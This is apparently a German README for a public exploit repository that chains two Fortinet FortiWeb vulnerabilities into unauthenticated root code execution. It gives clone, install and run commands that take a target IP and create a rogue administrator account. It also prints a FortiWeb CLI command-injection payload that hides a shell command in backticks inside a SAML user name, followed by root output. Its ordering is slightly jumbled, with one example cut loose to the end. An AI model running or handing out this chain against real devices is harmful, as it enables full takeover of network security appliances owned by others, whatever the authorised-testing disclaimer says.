
FortiWeb Remote Code Execution (RCE)-Exploit über CVE-2025-64446 + CVE-2025-58034-Kette
Dieses Skript verkettet zwei kritische Schwachstellen in Fortinet FortiWeb, um eine nicht authentifizierte Remote-Codeausführung mit Root-Rechten zu erreichen:
CVE-2025-64446 – Authentifizierungsumgehung per relativem Pfad-Traversal
Ermöglicht einem nicht authentifizierten Angreifer, die Authentifizierung zu umgehen und ein neues Administratorkonto zu erstellen.
CVE-2025-58034 – Authentifizierte OS-Befehlseinschleusung
Ein authentifizierter Angreifer (unter Verwendung des in Schritt 1 erstellten Kontos) kann über manipulierte HTTP-Anfragen beliebige OS-Befehle als Root ausführen.
Durch die Kombination dieser beiden Schwachstellen kann ein Angreifer ohne jegliche vorherige Anmeldedaten von null Zugriff zu einer vollständigen Systemkompromittierung gelangen.
Gesamtauswirkung: Nicht authentifizierte Remote-Codeausführung (entspricht einer Root-Shell)
Kombinierte Angriffskette:
Repository klonen:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
Abhängigkeiten installieren:
pip install -r requirements.txt
Vollständigen Exploit ausführen (erstellt Admin + führt Befehl aus):
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip>: Die IP-Adresse oder der Hostname des anfälligen FortiWeb-Geräts. Dies ist ein erforderliches Argument.-u <username> (optional): Legt einen benutzerdefinierten Benutzernamen für das erstellte Administratorkonto fest. Wenn nicht angegeben, wird eine UUID verwendet.-p <password> (optional): Legt ein benutzerdefiniertes Passwort für das erstellte Administratorkonto fest. Wenn nicht angegeben, wird der Benutzername als Passwort verwendet.Beispiel:
python exploit.py 192.168.1.100 -u admin123 -p password456
Dies versucht, auf dem Zielgerät unter 192.168.1.100 ein Administratorkonto mit dem Benutzernamen "admin123" und dem Passwort "password456" zu erstellen.
Wenn kein Benutzername und kein Passwort angegeben werden:


Nach erfolgreicher Anmeldung mit dem neu erstellten Administratorkonto kann ein Angreifer die authentifizierte Befehls-Injection-Schwachstelle über speziell konstruierte Anfragen oder direkt über die FortiWeb-CLI ausnutzen.
Eine zuverlässige Ausnutzungsmethode ist die Verwendung des folgenden CLI-Befehls (nach der Authentifizierung über die FortiWeb-Befehlszeilenschnittstelle ausgeführt):
config user saml-user
edit "`<YOUR COMMAND>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

Nach der Ausführung:
uid=0(root) gid=0(root) Root-RCE)Haftungsausschluss: Dieses Tool dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal.
python exploit.py 192.168.1.100
Das Skript generiert eine zufällige UUID für den Benutzernamen und verwendet sie als Passwort.